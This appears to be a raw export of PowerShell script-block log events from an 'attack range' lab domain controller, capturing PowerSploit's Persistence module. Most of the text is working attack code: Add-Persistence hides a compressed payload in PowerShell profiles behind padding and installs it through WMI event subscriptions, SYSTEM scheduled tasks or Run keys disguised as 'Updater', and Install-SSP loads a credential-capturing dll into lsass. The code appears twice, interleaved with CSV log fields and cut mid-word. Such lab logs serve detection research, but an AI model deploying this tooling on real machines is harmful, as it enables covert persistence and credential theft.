.DESCRIPTION
Get-SecurityPackage is a wrapper for secur32!EnumerateSecurityPackages.
It also parses the returned SecPkgInfo struct array.
.EXAMPLE
Get-SecurityPackage
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[CmdletBinding()]
Param()
#region P/Invoke declarations for secur32.dll
$DynAssembly = New-Object System.Reflection.AssemblyName('SSPI')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI', $False)
$FlagsConstructor = [FlagsAttribute].GetConstructor(@())
$FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
$StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$EnumBuilder = $ModuleBuilder.DefineEnum('SSPI.SECPKG_FLAG', 'Public', [Int32])
$EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
$null = $EnumBuilder.DefineLiteral('INTEGRITY', 1)
$null = $EnumBuilder.DefineLiteral('PRIVACY', 2)
$null = $EnumBuilder.DefineLiteral('TOKEN_ONLY', 4)
$null = $EnumBuilder.DefineLiteral('DATAGRAM', 8)
$null = $EnumBuilder.DefineLiteral('CONNECTION', 0x10)
$null = $EnumBuilder.DefineLiteral('MULTI_REQUIRED', 0x20)
$null = $EnumBuilder.DefineLiteral('CLIENT_ONLY', 0x40)
$null = $EnumBuilder.DefineLiteral('EXTENDED_ERROR', 0x80)
$null = $EnumBuilder.DefineLiteral('IMPERSONATION', 0x100)
$null = $EnumBuilder.DefineLiteral('ACCEPT_WIN32_NAME', 0x200)
$null = $EnumBuilder.DefineLiteral('STREAM', 0x400)
$null = $EnumBuilder.DefineLiteral('NEGOTIABLE', 0x800)
$null = $EnumBuilder.DefineLiteral('GSS_COMPATIBLE', 0x1000)
$null = $EnumBuilder.DefineLiteral('LOGON', 0x2000)
$null = $EnumBuilder.DefineLiteral('ASCII_BUFFERS', 0x4000)
$null = $EnumBuilder.DefineLiteral('FRAGMENT', 0x8000)
$null = $EnumBuilder.DefineLiteral('MUTUAL_AUTH', 0x10000)
$null = $EnumBuilder.DefineLiteral('DELEGATION', 0x20000)
$null = $EnumBuilder.DefineLiteral('READONLY_WITH_CHECKSUM', 0x40000)
$null = $EnumBuilder.DefineLiteral('RESTRICTED_TOKENS', 0x80000)
$null = $EnumBuilder.DefineLiteral('NEGO_EXTENDER', 0x100000)
$null = $EnumBuilder.DefineLiteral('NEGOTIABLE2', 0x200000)
$null = $EnumBuilder.DefineLiteral('APPCONTAINER_PASSTHROUGH', 0x400000)
$null = $EnumBuilder.DefineLiteral('APPCONTAINER_CHECKS', 0x800000)
$SECPKG_FLAG = $EnumBuilder.CreateType()
$TypeBuilder = $ModuleBuilder.DefineType('SSPI.SecPkgInfo', $StructAttributes, [Object], [Reflection.Emit.PackingSize]::Size8)
$null = $TypeBuilder.DefineField('fCapabilities', $SECPKG_FLAG, 'Public')
$null = $TypeBuilder.DefineField('wVersion', [Int16], 'Public')
$null = $TypeBuilder.DefineField('wRPCID', [Int16], 'Public')
$null = $TypeBuilder.DefineField('cbMaxToken', [Int32], 'Public')
$null = $TypeBuilder.DefineField('Name', [IntPtr], 'Public')
$null = $TypeBuilder.DefineField('Comment', [IntPtr], 'Public')
$SecPkgInfo = $TypeBuilder.CreateType()
$TypeBuilder = $ModuleBuilder.DefineType('SSPI.Secur32', 'Public, Class')
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('EnumerateSecurityPackages',
'secur32.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([Int32].MakeByRefType(),
[IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Ansi)
$Secur32 = $TypeBuilder.CreateType()
$PackageCount = 0
$PackageArrayPtr = [IntPtr]::Zero
$Result = $Secur32::EnumerateSecurityPackages([Ref] $PackageCount, [Ref] $PackageArrayPtr)
if ($Result -ne 0)
{
throw ""Unable to enumerate seucrity packages. Error (0x$($Result.ToString('X8')))""
}
if ($PackageCount -eq 0)
{
Write-Verbose 'There are no installed security packages.'
return
}
$StructAddress = $PackageArrayPtr
foreach ($i in 1..$PackageCount)
{
$SecPackageStruct = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $SecPkgInfo)
$StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $SecPkgInfo))
$Name = $null
if ($SecPackageStruct.Name -ne [IntPtr]::Zero)
{
$Name = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruct.Name)
}
$Comment = $null
if ($SecPackageStruct.Comment -ne [IntPtr]::Zero)
{
$Comment = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruct.Comment)
}
$Attributes = @{
Name = $Name
Comment = $Comment
Capabilities = $SecPackageStruct.fCapabilities
MaxTokenSize = $SecPackageStruct.cbMaxToken
}
$SecPackage = New-Object PSObject -Property $Attributes
$SecPackage.PSObject.TypeNames[0] = 'SECUR32.SECPKGINFO'
$SecPackage
}
}
2bf3fb48-5590-4142-bc16-78ae39631d05C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Persistence\Persistence.psm1","2022-05-02T18:24:38.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122451,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122451,win,300,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><>><>><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error
track_event_signatures",,,"error
track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows"
"'{7B7F4240-5E23-0006-6E5B-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"23aram (
[Parameter( Mandatory = $True, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )]
[ValidateNotNullOrEmpty()]
[ScriptBlock]
$ScriptBlock,
[Parameter( Mandatory = $True, ParameterSetName = 'FilePath' )]
[ValidateNotNullOrEmpty()]
[Alias('Path')]
[String]
$FilePath,
[Parameter( Mandatory = $True )]
$ElevatedPersistenceOption,
[Parameter( Mandatory = $True )]
$UserPersistenceOption,
[ValidateNotNullOrEmpty()]
[String]
$PersistenceScriptName = 'Update-Windows',
[String]
$PersistentScriptFilePath = ""$PWD\Persistence.ps1"",
[String]
$RemovalScriptFilePath = ""$PWD\RemovePersistence.ps1"",
[Switch]
$DoNotPersistImmediately,
[Switch]
$PassThru
)
Set-StrictMode -Version 2
#region Validate arguments
if ($ElevatedPersistenceOption.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.ElevatedPersistenceOption')
{
throw 'You provided invalid elevated persistence options.'
}
if ($UserPersistenceOption.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.UserPersistenceOption')
{
throw 'You provided invalid user-level persistence options.'
}
$Result = Get-Item $PersistentScriptFilePath -ErrorAction SilentlyContinue
if ($Result -and $Result.PSIsContainer)
{
throw 'You must provide a file name with the PersistentScriptFilePath option.'
}
$Result = Get-Item $RemovalScriptFilePath -ErrorAction SilentlyContinue
if ($Result -and $Result.PSIsContainer)
{
throw 'You must provide a file name with the RemovalScriptFilePath option.'
}
$PersistentPath = Split-Path $PersistentScriptFilePath -ErrorAction Stop
$Leaf = Split-Path $PersistentScriptFilePath -Leaf -ErrorAction Stop
$PersistentScriptFile = ''
$RemovalScriptFile = ''
if ($PersistentPath -eq '')
{
# i.e. Only a file name was provided implying $PWD
$PersistentScriptFile = ""$($PWD)\$($Leaf)""
}
else
{
$PersistentScriptFile = ""$(Resolve-Path $PersistentPath)\$($Leaf)""
}
$RemovalPath = Split-Path $RemovalScriptFilePath -ErrorAction Stop
$Leaf = Split-Path $RemovalScriptFilePath -Leaf -ErrorAction Stop
if ($RemovalPath -eq '')
{
# i.e. Only a file name was provided implying $PWD
$RemovalScriptFile = ""$($PWD)\$($Leaf)""
}
else
{
$RemovalScriptFile = ""$(Resolve-Path $RemovalPath)\$($Leaf)""
}
if ($PSBoundParameters['FilePath'])
{
$null = Get-ChildItem $FilePath -ErrorAction Stop
$Script = [IO.File]::ReadAllText((Resolve-Path $FilePath))
}
else
{
$Script = $ScriptBlock
}
#endregion
#region Initialize data
$UserTrigger = ''
$UserTriggerRemoval = ''
$ElevatedTrigger = ""''""
$ElevatedTriggerRemoval = ''
$UserTrigger = ""''""
$UserTriggerRemoval = ''
$CommandLine = ''
#endregion
#region Compress the original payload in preparation for the persistence script
$ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($Script)
$CompressedStream = New-Object IO.MemoryStream
$DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
$DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
$DeflateStream.Dispose()
$CompressedScriptBytes = $CompressedStream.ToArray()
$CompressedStream.Dispose()
$EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
# Generate the code that will decompress and execute the payload.
# This code is intentionally ugly to save space.
$NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + ""'$EncodedCompressedScript'"" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()'
#endregion
#region Process persistence options
# Begin processing elevated persistence options
switch ($ElevatedPersistenceOption.Method)
{
'PermanentWMI'
{
$ElevatedTriggerRemoval = {
Get-WmiObject __eventFilter -namespace root\subscription -filter ""name='Updater'""| Remove-WmiObject
Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter ""name='Updater'"" | Remove-WmiObject
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Updater'} | Remove-WmiObject
}
switch ($ElevatedPersistenceOption.Trigger)
{
'AtStartup'
{
$ElevatedTrigger = ""`""```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```""root\subscription```"" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```""WQL```"";Query=```""SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325```""};```$Consumer=Set-WmiInstance -Namespace ```""root\subscription```"" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```""```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```"";RunInteractively='false'};Set-WmiInstance -Namespace ```""root\subscription```"" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`""""
}
'Daily'
{
$ElevatedTrigger = ""`""```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```""root\subscription```"" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```""WQL```"";Query=```""SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = $($ElevatedPersistenceOption.Time.ToString('HH')) AND TargetInstance.Minute = $($ElevatedPersistenceOption.Time.ToString('mm')) GROUP WITHIN 60```""};```$Consumer=Set-WmiInstance -Namespace ```""root\subscription```"" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```""```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```"";RunInteractively='false'};Set-WmiInstance -Namespace ```""root\subscription```"" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`""""
}
default
{
throw 'Invalid elevated persistence options provided!'
}
}
}
'ScheduledTask'
{
$CommandLine = '`""$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`""'
$ElevatedTriggerRemoval = ""schtasks /Delete /TN Updater""
switch ($ElevatedPersistenceOption.Trigger)
{
'AtLogon'
{
$ElevatedTrigger = ""schtasks /Create /RU system /SC ONLOGON /TN Updater /TR ""
}
'Daily'
{
$ElevatedTrigger = ""schtasks /Create /RU system /SC DAILY /ST $($ElevatedPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR ""
}
'Hourly'
{
$ElevatedTrigger = ""schtasks /Create /RU system /SC HOURLY /TN Updater /TR ""
}
'OnIdle'
{
$ElevatedTrigger = ""schtasks /Create /RU system /SC ONIDLE /I 1 /TN Updater /TR ""
}
default
{
throw 'Invalid elevated persistence options provided!'
}
}
$ElevatedTrigger = '""' + $ElevatedTrigger + $CommandLine + '""'
}
'Registry'
{
$ElevatedTrigger = ""New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value ""
$ElevatedTriggerRemoval = ""Remove-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater""
$CommandLine = ""`""```""`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```"" -NonInteractive -WindowStyle Hidden`""""
$ElevatedTrigger = ""'"" + $ElevatedTrigger + $CommandLine + ""'""
}
default
{
throw 'Invalid elevated persistence options provided!'
}
}
# Begin processing user-level persistence options
switch ($UserPersistenceOption.Method)
{
'ScheduledTask'
{
$CommandLine = '`""$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`""'
$UserTriggerRemoval = ""schtasks /Delete /TN Updater""
switch ($UserPersistenceOption.Trigger)
{
'Daily'
{
$UserTrigger = ""schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR ""
}
'Hourly'
{
$UserTrigger = ""schtasks /Create /SC HOURLY /TN Updater /TR ""
}
'OnIdle'
{
$UserTrigger = ""schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR ""
}
default
{
throw 'Invalid user-level persistence options provided!'
}
}
$UserTrigger = '""' + $UserTrigger + $CommandLine + '""'
}
'Registry'
{
$UserTrigger = ""New-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value ""
$UserTriggerRemoval = ""Remove-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater""
$CommandLine = ""`""```""`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```"" -NonInteractive -WindowStyle Hidden`""""
$UserTrigger = ""'"" + $UserTrigger + $CommandLine + ""'""
}
default
{
throw 'Invalid user-level persistence options provided!'
}
}
#endregion
#region Original script with its persistence logic will reside here
# This is intentionally ugly in the interest of saving space on the victim machine.
$PersistantScript = {
function FUNCTIONNAME{
Param([Switch]$Persist)
$ErrorActionPreference='SilentlyContinue'
$Script={ORIGINALSCRIPT}
if($Persist){
if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER}
else
{$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER}
mkdir (Split-Path -Parent $Prof)
(gc $Prof) + (' ' * 600 + $Script)|Out-File $Prof -Fo
iex $Payload|Out-Null
Write-Output $Payload}
else
{$Script.Invoke()}
} EXECUTEFUNCTION
}
$PersistantScript = $PersistantScript.ToString().Replace('FUNCTIONNAME', $PersistenceScriptName)
$PersistantScript = $PersistantScript.ToString().Replace('ORIGINALSCRIPT', $NewScript)
$PersistantScript = $PersistantScript.ToString().Replace('ELEVATEDTRIGGER', $ElevatedTrigger)
$PersistantScript = $PersistantScript.ToString().Replace('USERTRIGGER', $UserTrigger)
if ($DoNotPersistImmediately)
{
$PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', '')
}
else
{
$PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', ""$PersistenceScriptName -Persist"")
}
#endregion
#region Generate final output
# Generate the persistence removal script
$PersistenceRemoval = @""
# Execute the following to remove the elevated persistent payload
$ElevatedTriggerRemoval
(gc `$PROFILE.AllUsersAllHosts) -replace '[\s]{600}.+',''| Out-File `$PROFILE.AllUsersAllHosts -Fo
# Execute the following to remove the user-level persistent payload
$UserTriggerRemoval
(gc `$PROFILE.CurrentUserAllHosts) -replace '[\s]{600}.+',''| Out-File `$PROFILE.CurrentUserAllHosts -Fo
""@
$PersistantScript | Out-File $PersistentScriptFile
Write-Verbose ""Persistence script written to $PersistentScriptFile""
$PersistenceRemoval | Out-File $RemovalScriptFile
Write-Verbose ""Persistence removal script written to $RemovalScriptFile""
if ($PassThru)
{
# Output a scriptblock of the persistent function. This can be passed to Out-EncodedCommand via the pipeline.
Write-Output ([ScriptBlock]::Create($PersistantScript))
}
#endregion
}
function Install-SSP
{
<#
.SYNOPSIS
Installs a security support provider (SSP) dll.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Install-SSP installs an SSP dll. Installation involves copying the dll to
%windir%\System32 and adding the name of the dll to
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages.
.PARAMETER Remove
Specifies the path to the SSP dll you would like to install.
.EXAMPLE
Install-SSP -Path .\mimilib.dll
.NOTES
The SSP dll must match the OS architecture. i.e. You must have a 64-bit SSP dll
if you are running a 64-bit OS. In order for the SSP dll to be loaded properly
into lsass, the dll must export SpLsaModeInitialize.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingCmdletAliases', '')]
[CmdletBinding()]
Param (
[ValidateScript({Test-Path (Resolve-Path $_)})]
[String]
$Path
)
$Principa2bf3fb48-5590-4142-bc16-78ae39631d05C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Persistence\Persistence.psm1",,4104,122450,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,2,3,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Persistence\Persistence.psm1",,,"'5388'",,,,,,122450,,,,"2bf3fb48-5590-4142-bc16-78ae39631d05","aram (
[Parameter( Mandatory = $True, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )]
[ValidateNotNullOrEmpty()]
[ScriptBlock]
$ScriptBlock,
[Parameter( Mandatory = $True, ParameterSetName = 'FilePath' )]
[ValidateNotNullOrEmpty()]
[Alias('Path')]
[String]
$FilePath,
[Parameter( Mandatory = $True )]
$ElevatedPersistenceOption,
[Parameter( Mandatory = $True )]
$UserPersistenceOption,
[ValidateNotNullOrEmpty()]
[String]
$PersistenceScriptName = 'Update-Windows',
[String]
$PersistentScriptFilePath = ""$PWD\Persistence.ps1"",
[String]
$RemovalScriptFilePath = ""$PWD\RemovePersistence.ps1"",
[Switch]
$DoNotPersistImmediately,
[Switch]
$PassThru
)
Set-StrictMode -Version 2
#region Validate arguments
if ($ElevatedPersistenceOption.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.ElevatedPersistenceOption')
{
throw 'You provided invalid elevated persistence options.'
}
if ($UserPersistenceOption.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.UserPersistenceOption')
{
throw 'You provided invalid user-level persistence options.'
}
$Result = Get-Item $PersistentScriptFilePath -ErrorAction SilentlyContinue
if ($Result -and $Result.PSIsContainer)
{
throw 'You must provide a file name with the PersistentScriptFilePath option.'
}
$Result = Get-Item $RemovalScriptFilePath -ErrorAction SilentlyContinue
if ($Result -and $Result.PSIsContainer)
{
throw 'You must provide a file name with the RemovalScriptFilePath option.'
}
$PersistentPath = Split-Path $PersistentScriptFilePath -ErrorAction Stop
$Leaf = Split-Path $PersistentScriptFilePath -Leaf -ErrorAction Stop
$PersistentScriptFile = ''
$RemovalScriptFile = ''
if ($PersistentPath -eq '')
{
# i.e. Only a file name was provided implying $PWD
$PersistentScriptFile = ""$($PWD)\$($Leaf)""
}
else
{
$PersistentScriptFile = ""$(Resolve-Path $PersistentPath)\$($Leaf)""
}
$RemovalPath = Split-Path $RemovalScriptFilePath -ErrorAction Stop
$Leaf = Split-Path $RemovalScriptFilePath -Leaf -ErrorAction Stop
if ($RemovalPath -eq '')
{
# i.e. Only a file name was provided implying $PWD
$RemovalScriptFile = ""$($PWD)\$($Leaf)""
}
else
{
$RemovalScriptFile = ""$(Resolve-Path $RemovalPath)\$($Leaf)""
}
if ($PSBoundParameters['FilePath'])
{
$null = Get-ChildItem $FilePath -ErrorAction Stop
$Script = [IO.File]::ReadAllText((Resolve-Path $FilePath))
}
else
{
$Script = $ScriptBlock
}
#endregion
#region Initialize data
$UserTrigger = ''
$UserTriggerRemoval = ''
$ElevatedTrigger = ""''""
$ElevatedTriggerRemoval = ''
$UserTrigger = ""''""
$UserTriggerRemoval = ''
$CommandLine = ''
#endregion
#region Compress the original payload in preparation for the persistence script
$ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($Script)
$CompressedStream = New-Object IO.MemoryStream
$DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
$DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
$DeflateStream.Dispose()
$CompressedScriptBytes = $CompressedStream.ToArray()
$CompressedStream.Dispose()
$EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
# Generate the code that will decompress and execute the payload.
# This code is intentionally ugly to save space.
$NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + ""'$EncodedCompressedScript'"" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()'
#endregion
#region Process persistence options
# Begin processing elevated persistence options
switch ($ElevatedPersistenceOption.Method)
{
'PermanentWMI'
{
$ElevatedTriggerRemoval = {
Get-WmiObject __eventFilter -namespace root\subscription -filter ""name='Updater'""| Remove-WmiObject
Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter ""name='Updater'"" | Remove-WmiObject
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Updater'} | Remove-WmiObject
}
switch ($ElevatedPersistenceOption.Trigger)
{
'AtStartup'
{
$ElevatedTrigger = ""`""```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```""root\subscription```"" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```""WQL```"";Query=```""SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325```""};```$Consumer=Set-WmiInstance -Namespace ```""root\subscription```"" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```""```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```"";RunInteractively='false'};Set-WmiInstance -Namespace ```""root\subscription```"" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`""""
}
'Daily'
{
$ElevatedTrigger = ""`""```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```""root\subscription```"" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```""WQL```"";Query=```""SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = $($ElevatedPersistenceOption.Time.ToString('HH')) AND TargetInstance.Minute = $($ElevatedPersistenceOption.Time.ToString('mm')) GROUP WITHIN 60```""};```$Consumer=Set-WmiInstance -Namespace ```""root\subscription```"" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```""```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```"";RunInteractively='false'};Set-WmiInstance -Namespace ```""root\subscription```"" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`""""
}
default
{
throw 'Invalid elevated persistence options provided!'
}
}
}
'ScheduledTask'
{
$CommandLine = '`""$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`""'
$ElevatedTriggerRemoval = ""schtasks /Delete /TN Updater""
switch ($ElevatedPersistenceOption.Trigger)
{
'AtLogon'
{
$ElevatedTrigger = ""schtasks /Create /RU system /SC ONLOGON /TN Updater /TR ""
}
'Daily'
{
$ElevatedTrigger = ""schtasks /Create /RU system /SC DAILY /ST $($ElevatedPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR ""
}
'Hourly'
{
$ElevatedTrigger = ""schtasks /Create /RU system /SC HOURLY /TN Updater /TR ""
}
'OnIdle'
{
$ElevatedTrigger = ""schtasks /Create /RU system /SC ONIDLE /I 1 /TN Updater /TR ""
}
default
{
throw 'Invalid elevated persistence options provided!'
}
}
$ElevatedTrigger = '""' + $ElevatedTrigger + $CommandLine + '""'
}
'Registry'
{
$ElevatedTrigger = ""New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value ""
$ElevatedTriggerRemoval = ""Remove-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater""
$CommandLine = ""`""```""`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```"" -NonInteractive -WindowStyle Hidden`""""
$ElevatedTrigger = ""'"" + $ElevatedTrigger + $CommandLine + ""'""
}
default
{
throw 'Invalid elevated persistence options provided!'
}
}
# Begin processing user-level persistence options
switch ($UserPersistenceOption.Method)
{
'ScheduledTask'
{
$CommandLine = '`""$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`""'
$UserTriggerRemoval = ""schtasks /Delete /TN Updater""
switch ($UserPersistenceOption.Trigger)
{
'Daily'
{
$UserTrigger = ""schtasks /Create /SC DAILY /ST $($UserPersistenceOption.Time.ToString('HH:mm:ss')) /TN Updater /TR ""
}
'Hourly'
{
$UserTrigger = ""schtasks /Create /SC HOURLY /TN Updater /TR ""
}
'OnIdle'
{
$UserTrigger = ""schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR ""
}
default
{
throw 'Invalid user-level persistence options provided!'
}
}
$UserTrigger = '""' + $UserTrigger + $CommandLine + '""'
}
'Registry'
{
$UserTrigger = ""New-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value ""
$UserTriggerRemoval = ""Remove-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater""
$CommandLine = ""`""```""`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```"" -NonInteractive -WindowStyle Hidden`""""
$UserTrigger = ""'"" + $UserTrigger + $CommandLine + ""'""
}
default
{
throw 'Invalid user-level persistence options provided!'
}
}
#endregion
#region Original script with its persistence logic will reside here
# This is intentionally ugly in the interest of saving space on the victim machine.
$PersistantScript = {
function FUNCTIONNAME{
Param([Switch]$Persist)
$ErrorActionPreference='SilentlyContinue'
$Script={ORIGINALSCRIPT}
if($Persist){
if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER}
else
{$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER}
mkdir (Split-Path -Parent $Prof)
(gc $Prof) + (' ' * 600 + $Script)|Out-File $Prof -Fo
iex $Payload|Out-Null
Write-Output $Payload}
else
{$Script.Invoke()}
} EXECUTEFUNCTION
}
$PersistantScript = $PersistantScript.ToString().Replace('FUNCTIONNAME', $PersistenceScriptName)
$PersistantScript = $PersistantScript.ToString().Replace('ORIGINALSCRIPT', $NewScript)
$PersistantScript = $PersistantScript.ToString().Replace('ELEVATEDTRIGGER', $ElevatedTrigger)
$PersistantScript = $PersistantScript.ToString().Replace('USERTRIGGER', $UserTrigger)
if ($DoNotPersistImmediately)
{
$PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', '')
}
else
{
$PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', ""$PersistenceScriptName -Persist"")
}
#endregion
#region Generate final output
# Generate the persistence removal script
$PersistenceRemoval = @""
# Execute the following to remove the elevated persistent payload
$ElevatedTriggerRemoval
(gc `$PROFILE.AllUsersAllHosts) -replace '[\s]{600}.+',''| Out-File `$PROFILE.AllUsersAllHosts -Fo
# Execute the following to remove the user-level persistent payload
$UserTriggerRemoval
